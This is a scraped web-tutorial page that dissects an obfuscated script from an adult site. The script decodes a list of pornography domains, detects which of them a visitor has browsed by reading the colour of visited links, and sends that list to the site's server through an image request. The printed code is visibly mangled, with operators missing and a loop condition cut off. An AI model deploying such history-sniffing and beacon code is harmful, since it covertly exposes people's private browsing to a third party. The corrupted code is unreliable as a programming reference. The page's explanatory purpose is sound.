Home > Web Front-end > JS Tutorial > Secretly use a script to check the code of which websites you have visited_javascript skills

Secretly use a script to check the code of which websites you have visited_javascript skills

WBOY
Release: 2016-05-16 18:14:44
Original
1105 people have browsed it

Open its "page source file" and you can find an encrypted JS script:

Copy the code The code is as follows:

function ypol(){
//K is an object, actually an array. I have saved a bunch of encrypted pr*n website links.
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5: "yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:" c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n", 17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn" };
var g=[];
for(var m in k){
var d=k[m]; //Traverse the elements in k and assign values ​​to d
var a=" ";
for(var f=0;fa =String.fromCharCode(d.charCodeAt(f)-1);
}/* Here put d in Every character has been restored.
* charCodeAt(char) function returns the ascii code of char
* String.fromCharCode(asccii) returns the character corresponding to the ascii code
* and then assigns the result to a
* For example, in the first loop, The value of a is qpsoivc/dpn -> pornhub.com
*/
var h=false;
/*
* This loop creates the A object and assigns the link value to http://a / and http://www.a/
* Why do we need to loop twice? The purpose is for accuracy
* Visit http://example.com/ and http://www.example.com/ For browsers, they are different domain names
*, so they should be treated differently
*/
for(var j in {"http://":"","http://www." :""}){
var l=document.createElement("a"); //Create an A object
l.href=j a;
document.getElementById("ol").appendChild( l);
// The A object is attached to an element with the id ol. To be attached to an element in the DOM tree, the browser will render the element and set the appropriate CSS
var e= "";
if(navigator.appName.indexOf("Microsoft")!=-1){
e=l.currentStyle.color; //Get the color of object A in IE
}else {
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color");
//Get the color of other standard browsers
}
if(e=="# 0c2238"||e=="#0c2238"){
/*
* If it is purple, it means you have visited this site.
* By default, the browser marks visited links in purple
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //If visited, add the site to the list g
g.push(m);
}
}
var b=(g instanceof Array)?g.join (","):""; //Change g from array to string
var c=document.createElement("img"); //Create an img object
c.src="http: //ol.youporn.com/blank.gif?id=" b; //img's src points to an image on your own server. The key is that it comes with the value of the g array
document.getElementById("ol" ).appendChild(c); //Add DOM tree, the reason is the same as before A
/*
* Access with one image, in web-server
Related labels:
source:php.cn
Statement of this Website
The content of this article is voluntarily contributed by netizens, and the copyright belongs to the original author. This site does not assume corresponding legal responsibility. If you find any content suspected of plagiarism or infringement, please contact admin@php.cn
Popular Tutorials
More>
Latest Downloads
More>
Web Effects
Website Source Code
Website Materials
Front End Template